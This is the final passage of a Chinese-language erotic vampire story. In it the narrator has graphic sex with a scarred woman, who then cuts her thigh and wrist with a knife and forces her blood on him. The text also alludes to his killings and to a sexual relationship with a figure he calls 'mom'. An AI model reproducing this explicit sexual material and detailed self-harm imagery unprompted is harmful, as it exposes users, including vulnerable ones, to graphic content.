   爱美也运用这个空档,丢掉皮包,拉开上部的衣服,让胸部裸露出来。
   她的身材老实说,比妈妈好上好几倍,可是我没时间去注意它,因为我的目
  光被她身上一点一点,约有一寸大的白色伤痕吸引住,即使乳房上也有许多点。
   当我想仔细端详这些伤痕时,爱美却一点机会也不给我的立刻吻住我,同时
  箍住我,她在下我在上的一起倒向床 .
   做爱时我最讨厌由女人主动,所以我决定改变一下。我踢掉鞋子,伸出一只
  手解开裤子,另一只手则开始爱抚她的乳房,爱美停住接吻浪哼了几声。
   在我的爱抚下,她的乳头开始胀大变硬,不过我接着就停止动作,因为她的
  皮肤布满伤痕,摸起来一点都不平滑。
   我一停止动作,爱美立刻稍稍坐起注视着我,跟着用力扯下我的裤子,将裤
  子扯到膝盖下后,接着拉下内裤。
   我的阳具应声弹了出来,到今天我才第一次注意到,我的阳具竟然变成这么
  可怕的苍白。
   可是苍白的阳具并没有吓退爱美,她毫不迟疑的伸出玉手抓住它,开始摩擦
  揉玩,先是温柔缓缓的玩,跟着则是快速的套弄,老实说,爱美玩老二的技术堪
  称一流,弄得我欲魂欲仙舒服无比,整个人逐渐松弛下来。
   我感到她的嘴唇碰触到我的龟头,立刻伸手温和的推开她说:
   「不,不,不,用手就好……」
   妈妈常常用嘴来玩,特别是她的牙齿既尖又利,老实说这种方式我已经玩腻
  了,早就想换个其他的方式尝尝。
   爱美把头移开,迅速的再用手握住玩,没多久,我只觉得全身肌肉舒服的绷
  紧,大概快到达高潮了,刺激的我弓起背部,不断的摇转头。
   爱美慢慢的把速度降下来,最后轻轻的握住阳具,直到我泄精。
   变成吸血鬼到现在,我这才注意到性高潮有什么不一样,就像我不必靠呼吸
  维生,所以再也不会气喘嘘嘘或有快窒息的感觉,我的泄精也有很大的不同……
  老二很奇怪的什么都没喷出……我再也制造不出精液了!
   爱美似乎早就习惯这种情形,一点也不在意的站起来,剥除自己身上剩馀的
  衣物。
   我很好奇的想看一看她的白色伤痕是不是布满全身?不过我还没开始观看,
  就被爱美抓住肩膀倒向她的身上了。
   好吧,既然如此,那我就不客气的采取主动权,好好的玩一玩罗!
   首先吻住她的嘴,然后开始温柔的移动亲吻,最后在她的喉咙上简短的轻轻
  吻一下。
   爱美乐的喘息娇哼,将头往后倾仰,望见她的娇模样,其实也让我乐的想往
  下游移到乳房去,可是,那些伤痕实在是倒尽我的胃口,所以我只是在喉咙附近
  亲吻,同时把手伸出爱抚较为平滑的背部。
   爱美浪哼不断的将身体往床头扭移,然后把双腿大大的张开在我面前,这可
  正是我等着要的,所以我就毫不客气的把大 插入。
   猛烈抽插了一阵子后,爱美伸手扶着我的头压向她的胸脯,老实说,我实在
  不喜爱亲吻她的伤痕,不过她看起来好像很喜欢这样,我想我大概碰到小变态了
  吧,所以我开始猛烈的快速抽刺,希望能转移她的注意力。
   这一招果然凑效,爱美放开我的头,将一只手搂住我的肩膀,另一只则移去
  抚摸我的胸膛。
   没多久,我们两人就都疯狂似的剧烈扭转,爱美先扭曲蠕动浪哼连连的达到
  高潮,很快的我也跟着达到高潮,不过,不知怎么搞的,我总觉得没有达到完全
  的满足。
   很明显地,爱美比我享受到更多的高潮喜悦,或许我是嫉妒她这点,或许我
  是讨厌她的主动,才会感到没满足。
   过去几周,我的一切都完全受妈妈掌控,所以才会祈盼不一样的对象。或许
  我想主掌一切,也或许我只是不甘於受到别人控制,如此而已。
   纠结的俩人终於分开,我滚躺到床上,爱美则坐起来,一摇一摆的走到另一
  边,拿起钱包仔细翻找,终於从里面翻出一只摺叠式小刀。
   爱美打开刀子,然后转身面向我,双腿大张的坐到床上来,说道:「晚餐时
  间!」
   这时我终於瞧清楚,她身体的伤痕是从肩膀开始,一直遍及膝盖,以胸部到
  胯部地区最多,我无法知道伤痕有多接近她的,但是我能够清楚的描绘出伤痕的
  大致情形。
   我还来不及反应过来,爱美就在自己的大腿内侧划上一刀,大约划在臀部和
  大腿接合处之下一寸的地方。
   伤口开始缓缓的渗出血液,我则只是呆呆的凝望着,因为我实在不敢相信她
  竟然会这么做,爱美以一种近乎撕哑的声音说:
   「怎么样?要不要来一点?」
   我站下床,走近爱美,抓住她的手臂说:「你他妈的为什么要这样做?」
   「我要你喝我的血,我知道你还没有獠牙,所以自己来这么一下……」
   血液滴落到床单上,看起来似乎是可口的食物,可是我并不饿,喝下酒吧那
  一杯,已经让我颇有饱足感了,反正,我就是不想吸食她就对了。
   我明白她想要什么,说实在的我也想,可是我已经和她发生性关系了,况且
  我真的不想吸食她。
   我的意思是说,从我成为吸血鬼以来,所有我吃的男女,没有一个不是被我
  咬碎喉咙死亡的,即使那个女孩长的再可爱迷人也一样,当然更不可能拿她们当
  成做爱的对象的。
   「爱美,我现在真的不饿,你何不把伤口包扎起来,或许下一次我会吸你的
  血!」
   爱美站起来面对着我说:「大卫,你真的这样想吗?」
   「很抱歉,爱美!我实在真的吃不下,下次好吗?」
   爱美生气的跺着脚说:「该死的东西,我不是光来做爱的,来吧!喝喝我的
  血。」
   血液这时已经不再渗流,不过看起来仍是很好吃的样子。
   「爱美!听我说,我……真……的……不……饿……」
   我坐下来穿我的裤子。爱美抓起刀子,在自己的手腕上又划一刀。
   「你欠我的,喝!」
   说完,抓住我的头发,强将手腕塞入我的嘴唇。
   血液有一些流到我的嘴里,我用力把手腕推开,气急败坏的说:
   「爱美!你在搞什么?」
   「我要你喝我的血,该死的东西!我是说,做爱根本就比不上被喝血,我─
  要─你─喝我的血!」
   事情演变到这里,已经非常清楚,爱美认真的需要别人的帮助。
   「爱美,我真的不想,而且,你也无法强迫我做,如果你真的需─要─帮─
  助,找别的吸血鬼吧!我现在真的不想动口。」
   爱美扭转着挣脱手腕,在我的手掌上留下一些污血,说:
   「我不喜欢像蠢蛋一样的被利用!我是说,我把你所企盼的给你,难道你就
  不能同样的回报我吗?」
   我提起鞋子来一边穿一边说:「你也企盼性爱的欢愉呀,为什么我还要为你
  吸血?」
   爱美尖叫着说:「我只是照你的意思做呀!」
   爱美是真的生气了,她用双手拍打屁股,看起来好像很想给我一棍似的!
   我抓住衬衫站起来说:
   「爱美,就这样啦,我并没有欠你什么,我要走了,如果你真的这么想被吸
  血,穿上衣服回酒吧或者其他别的地方去吧!」
   我提着衬衫往门口走,身后传来忿怒的跺脚声,重重的走动声,跟着是浴室
  的门被猛地啪 大声关上的声音。
   妈妈就站在门外,紧搂着一个高大的男人拥吻,那个男人的手正不老实的抚
  摸她的屁股。
   我根本就不在意,也不管会不会打扰到她们,说:
   「妈!有一个不可理喻的女孩在里面,你要留她或赶走她,我不管。我出去
  了,再见!」
   妈妈什么都没说,我就这么离开外出。
   在中央公园徘徊闲逛了好一会儿,连个鬼也没碰到,这倒好,能够让我冷静
  下来,好好的思考整个事情。
   我从来就不喜欢被利用,不过,爱美只是希望我能吸吸她的血「虽然整件事
  情看起来有点荒唐,不过却是千真万确的」。
   我到底希望爱美怎么看待自己?露水姻缘、短暂性爱……我期待像妈妈对待
  我一样的对待任何人,问题是我挑错对象了,我如何知道爱美和别的“落翅仔”
  不一样?
   想到这里,让我沮丧不已,所以我再次四处徘徊,并且重新思考整件事情。
   我想要做爱,爱美想要被吸食,我得到性欢愉,却什么都没给她。有的,有
  的,印象里应该就是美好的性高潮吧!
   不过,这应该不能算是吧?我又在黑暗里徘徊了好久好久,然后才坐在一条
  长凳上,重新再思考一次。
   想到爱美的怪癖,任何人会如此割伤自己,应该不只是“头壳坏去”吧?我
  应该站在她的立场,想想她的感受的。
   再说,如果我的唾液真的能让爱美的痛苦终止,使她好过一点,对我又有什
  么损失呢?
   很显然地,发生这件事情之后,短时间内我再也没有心情去四处游荡或猎取
  猎物了。
   我也想明白,跟妈妈腻在一起,对我其实一点帮助都没有。
   某些我生命里重要的东西,已经被严重的撕裂成碎碎的,我需要时间来重新
  拼凑它们……只是,只是我也不知道该如何着手是好……
   【全篇完】
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